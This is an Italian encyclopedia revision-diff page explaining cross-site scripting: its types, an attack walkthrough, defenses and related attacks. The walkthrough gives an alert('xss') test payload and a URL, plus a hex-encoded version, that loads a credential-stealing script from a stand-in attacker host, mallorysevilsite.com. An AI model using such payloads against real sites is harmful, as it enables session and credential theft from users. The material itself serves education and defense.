Cross-site scripting: differenze tra le versioni

Versione delle 11:03, 11 giu 2016

Versione delle 16:53, 23 giu 2016

Riga 7:

La sicurezza nel web dipende da una varietà di meccanismi incluso il concetto di fiducia noto come [[Same origin policy]]. Questo afferma in sostanza che se al contenuto del primo sito viene concessa l’autorizzazione di accedere alle risorse di un sistema, allora qualsiasi contenuto da quel sito condividerà queste autorizzazioni, mentre il contenuto di un altro sito deve avere delle autorizzazioni a parte.

Gli attacchi Cross-site scripting  usano vulnerabilità note delle applicazioni web, nei loro server o dei plugin su cui si basano. Sfruttando una di queste vulnerabilità, gli aggressori iniettano contenuto malevolo nel contenuto che fornisce il sito compromesso. Quando il contenuto arriva nel [[Browser|web browser]] lato client risulta inviato dalla fonte attendibile, perciò opera sotto le autorizzazioni concesse a quel sistema. Trovando il modo di iniettare script malevoli, l’utente malintenzionato può ottenere privilegi di accesso al contenuto di pagine sensibili, ai cookie di sessione e a una varietà da altre informazioni gestite dal browser per conto dell’utente.

Gli ingegneri della sicurezza di Microsoft hanno introdotto il termine "cross-site scripting" nel gennaio del 2000.L'espressione "cross-site scripting" originariamente si riferiva unicamente ad attacchi basati sull'utilizzo di frammenti di codice [[JavaScript]] inseriti all'interno di chiamate a pagine web dinamiche poste su un web-server (tecnica facente parte dei metodi di [[code injection]]) in modo che il server remoto eseguisse operazioni diverse da quelle previste originariamente dall'applicativo web. Tale definizione, gradualmente, si è estesa comprendendo anche altre modalità di "iniezione di codice" basate non solo su [[JavaScript]] ma anche su [[ActiveX]], [[VBScript]], [[Adobe Flash|Flash]], o anche puro [[HTML]]. Ciò ha generato una certa confusione nella terminologia riferita alla [[sicurezza informatica]]: il termine, infatti, ricomprende oggi tutto un insieme di tecniche di attacco e non esclusivamente quella basata su manipolazione di codice JavaScript.<ref name="Grossman">{{Cita web|autore=Grossman, Jeremiah|titolo= The origins of Cross-Site Scripting (XSS)|url= http://jeremiahgrossman.blogspot.com/2006/07/origins-of-cross-site-scripting-xss.html |data=30 luglio 2006|accesso=15 settembre 2008}}</ref>

Riga 18:

=== Reflected (non-persistent) ===

Le vulnerabilità cross-site scripting di tipo reflected sono sicuramente le più comuni. È possibile sfruttarle quando i dati forniti dall’utente (di solito tramite form HTML) sono usati immediatamente dallo scripts lato server per costruire le pagine risultanti senza controllare la correttezza della richiesta. 

Dato che i documenti HTML hanno uno struttura piatta in cui sono mescolate istruzioni di controllo, di formattazione e di contenuto effettivo, se tutti i dati forniti dall’utente non validati sono inclusi nella pagina risultante senza un’adeguata codifica HTML, questo può portare a iniezione di codice di markup<ref>{{Cita libro|autore=Paco Hope, Ben Walther|titolo=Web Security Testing Cookbook|anno=2008|editore=O'Reilly Media|p=128|ISBN=978-0-596-51483-9}}</ref> . Un esempio classico di un potenziale vettore è il motore di ricerca del sito: se si cerca una stringa, in genere questa verrà visualizzata di nuovo nella pagina dei risultati per indicare cosa si è cercato. Se questa risposta non evita o rigetta i caratteri di controllo HTML si consegue che è vulnerabile ad attacchi cross-site scripting.<ref>{{Cita libro|autore=Seth Fogie, Jeremiah Grossman, Robert Hansen, Anton Rager, Petko D. Petkov|titolo=XSS Attacks: Cross Site Scripting Exploits and Defense (Abstract)|anno=2007|editore=Syngress|p=70, 156|ISBN=1-59749-154-3}}</ref>

Un attacco non persistente è tipicamente inviato via mail o da un sito web neutrale. L’esca è un URL dall’aspetto innocente, che punta a un sito attendibile ma che contiene un vettore XSS. Se il sito affidabile è vulnerabile a quel vettore, il click sul link può causare l’esecuzione di script iniettato nel browser della vittima. 

=== Persistent ===

Riga 31:

Supponiamo che un attaccante si colleghi al sito e vuole capire i veri nomi delle persone che vede sul sito. Per fare ciò scrive uno script progettato per essere eseguito dal browser delle altre persone quando visitano il suo profilo. Lo script invia un breve messaggio al suo server che raccoglie queste informazioni.

Per fare questo, per il quesito “Descrivi il tuo primo appuntamento ideale”, l’attaccante dà una risposta breve (dall’aspetto consueto) ma il testo alla fine della risposta è lo script per rubare i nomi e le mail. Se lo script è racchiuso all’interno di un elemento <script> non verrà visualizzato a schermo. Quindi supponiamo che Bob, membro del sito di incontri, raggiunga il profilo dell’attaccante, dove viene visualizzata la risposta alla domanda riguardo al primo appuntamento ideale. Lo script viene automaticamente eseguito dal browser e ruba il nome reale e la mail di Bob direttamente dalla sua macchina. 

Le vulnerabilità XSS di tipo persistente possono essere molto più significative rispetto alle altre perché lo script dannoso dell’attaccante è fornito automaticamente senza la necessità di indirizzare la vittima o attirarla nel sito di terze parti. In particolare nel caso di siti di social-network, il codice potrebbe essere progettato per propagarsi autonomamente tra gli account, creando un tipo di [[worm]] lato client.

Riga 42:

Mentre il codice JavaScript processa anche gli input dell’utente e li visualizza nella pagina web, la nuova sottoclasse di attacchi XSS di tipo reflected ha iniziato ad apparire ed è stata chiamata [[Document Object Model|DOM]]-based cross-site scripting. Negli attacchi XSS DOM-based, i dati malevoli non sono toccati dal server web, piuttosto, sono riflessi dal codice JavaScript interamente sul lato client.<ref>{{Cita web|url=https://www.owasp.org/index.php/DOM_Based_XSS|titolo=DOM Based XSS - OWASP|sito=www.owasp.org|accesso=21 maggio 2016}}</ref>

Un esempio di vulnerabilità XSS DOM-based è un bug trovato nel 2011 in una serie di plugin [[JQuery]]<ref>{{Cita web|url=http://bugs.jquery.com/ticket/9521|titolo=#9521 (XSS with $(___location.hash) and $(#<tag>) is needed?) – jQuery - Bug Tracker|sito=bugs.jquery.com|accesso=21 maggio 2016}}</ref>. Le strategie di prevenzione per gli attacchi XSS DOM-based includono misure molto simili alle strategie tradizionali di prevenzione XSS, ma implementante in codice [[JavaScript]] e incluse nelle pagine<ref>{{Cita web|url=https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet|titolo=DOM based XSS Prevention Cheat Sheet - OWASP|sito=www.owasp.org|accesso=21 maggio 2016}}</ref>. Alcuni framework JavaScript hanno creato contromisure contro questi e altri tipi di attacchi — ad esempio  [[AngularJS|Angular.js]]<ref>{{Cita web|url=http://docs.angularjs.org/api/ng.$sce|titolo=AngularJS|sito=docs.angularjs.org|accesso=21 maggio 2016}}</ref>.

== Un esempio di attacco ==

Riga 52:

## Quando si visita la pagina di ricerca, si inserisce un termine nella casella di ricerca e si fa click sul tasto invio, se non ci sono risultati la pagina visualizzerà il termine cercato seguito dalle parole “non trovato”, e l’URL sarà <code><nowiki>http://bobssite.org?q=her</nowiki></code>

## Con una normale query di ricerca, come la parola “cuccioli”, la pagina visualizzerà semplicemente “cuccioli non trovato” e l’URL è <code><nowiki>http://bobssite.org</nowiki>'''?q=cuccioli'''</code> (questo è un comportamento normale).

## Tuttavia, quando si invia una query anomala di ricerca, come  <code><scripttype='text/javascript'>alert('xss');</script></code>,

### Viene visualizzato un box di avviso che dice “xss”

### La pagina visualizza  "<code><scripttype='text/javascript'>alert('xss');</script></code> non trovato" insieme a un messaggio di errore con il testo “xss”

### L’URL sfruttabile è  <code><nowiki>http://bobssite.org</nowiki>'''?q=<scripttype='text/javascript'>alert('xss');</script>'''</code>

#Mallory crea un URL per sfruttare l’exploit

##Crea l’URL  <code><nowiki>http://bobssite.org</nowiki>'''?q=cuccioli<script%20src="<nowiki>http://mallorysevilsite.com/authstealer.js</nowiki>"><nowiki></script></nowiki>'''</code> . Sceglie di convertire i caratteri ASCII in esadecimale, ad esempio <code><nowiki>http://bobssite.org</nowiki>'''?q=cuccioli%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E'''</code> in modo che eventuali lettori umani non possano immediatamente decifrare l’URL dannoso.

##Invia una mail ad alcuni ignari membri del sito di Bob, in cui scrive: “Controlla alcuni simpatici cuccioli”

#Alice riceve la mail, dato che ama i cuccioli apre il link. Andrà quindi sul sito di Bob per la ricerca, non trovando nulla visualizzerà “Cuccioli non trovato”, ma lo script di Mallory, authstealer.js, eseguirà, invisibile sullo schermo, scatenando l’attacco XSS.

Riga 86:

=== Convalidare in modo sicuro l’input non attendibile ===

Molte operazioni di particolari applicazioni web (forum, webmail, ecc.) permettono agli utenti di utilizzare un sottoinsieme limitato di markup HTML. Quando si accetta l’input HTML da parte degli utenti, ad esempio "<nowiki><b>molto<b/></nowiki> largo", la codifica in uscita, come "<nowiki>&</nowiki>lt;b<nowiki>&</nowiki>gt;molto<nowiki>&</nowiki>lt;/b<nowiki>&</nowiki>gt; largo", non sarà sufficiente dal momento che deve essere reso come HTML dal browser.  Fermare un attacco XSS quando si accettano input HTML dall'utente, è molto complesso in questa circostanza. L’input HTML non attendibile deve essere eseguito attraverso un HTML sanitization engine per garantire che non contenga codice XSS.

=== Sicurezza dei cookie ===

Riga 103:

=== Tecnologie di difesa emergenti ===

Ci sono tre classi di difesa da XSS che stanno emergendo.   Queste includono Content Security Policy<ref>{{Cita web|url=http://www.w3.org/TR/CSP/|titolo=Content Security Policy Level 2|sito=www.w3.org|accesso=21 maggio 2016}}</ref>, JavaScript sandbox tools, e auto-escaping templates. Questi meccanismi sono ancora in evoluzione, ma promettono un futuro dove gli attacchi XSS saranno fortemente ridotti.

== Servizi di scanning ==

Riga 115:

[[Cross-site request forgery]] (CSRF/XSRF) è quasi l’opposto del XSS, nel senso che invece di sfruttare la fiducia degli utenti in un sito, l’attaccante e la sua pagina malevola, sfrutta la fiducia del sito nel software del client, facendo richieste che il sito ritiene azioni consapevoli e intenzionali di un utente autenticato<ref>{{Cita web|url=http://www.cgisecurity.com/articles/csrf-faq.shtml|titolo=This page has moved!|sito=www.cgisecurity.com|accesso=21 maggio 2016}}</ref>. Vulnerabilità XSS (anche in altre applicazioni in esecuzione nello stesso dominio) consentono agli aggressori di bypassare gli sforzi di prevenzione CSRF <ref>{{Cita web|url=http://www.webappsecblog.com/CsrfAndSameOriginXss.html|titolo=CSRF and same-origin XSS|cognome=Schneider|nome=Christian|sito=www.webappsecblog.com|lingua=en|accesso=21 maggio 2016}}</ref>.

Covert Redirect sfrutta client di terze parti suscettibili ad attacchi XSS o Open Redirect. Covert Redirect è stato scoperto dal dottorato di ricerca dello studente Wang Jing del Nanyang Technological University,  in Singapore. “Tentativi di normale phishing  possono essere facilmente individuati, perché l’URL della pagina malevola è di solito diversa al massimo un paio di lettere rispetto a quella del sito vero e proprio. La differenza con Covert Redirect è che un utente malintenzionato potrebbe utilizzare il sito web vero e proprio anziché violare il sito web con un pop-up di login dannoso.”<ref>{{Cita web|url=http://www.tomsguide.com/us/facebook-google-covert-redirect-flaw,news-18726.html|titolo=Facebook, Google Users Threatened by New Security Flaw|sito=Tom's Guide|data=2 maggio 2014|accesso=21 maggio 2016}}</ref>

Infine, [[SQL injection]] sfrutta una vulnerabilità nel livello di database dell’applicazione. Quando l’input dell’utente non viene filtrato in modo corretto, possono essere eseguite dall'applicazione tutte le istruzioni SQL.<ref>{{Cita web|url=http://www.cgisecurity.com/xss-faq.html|titolo=The Cross-Site Scripting (XSS) FAQ|sito=www.cgisecurity.com|accesso=21 maggio 2016}}</ref>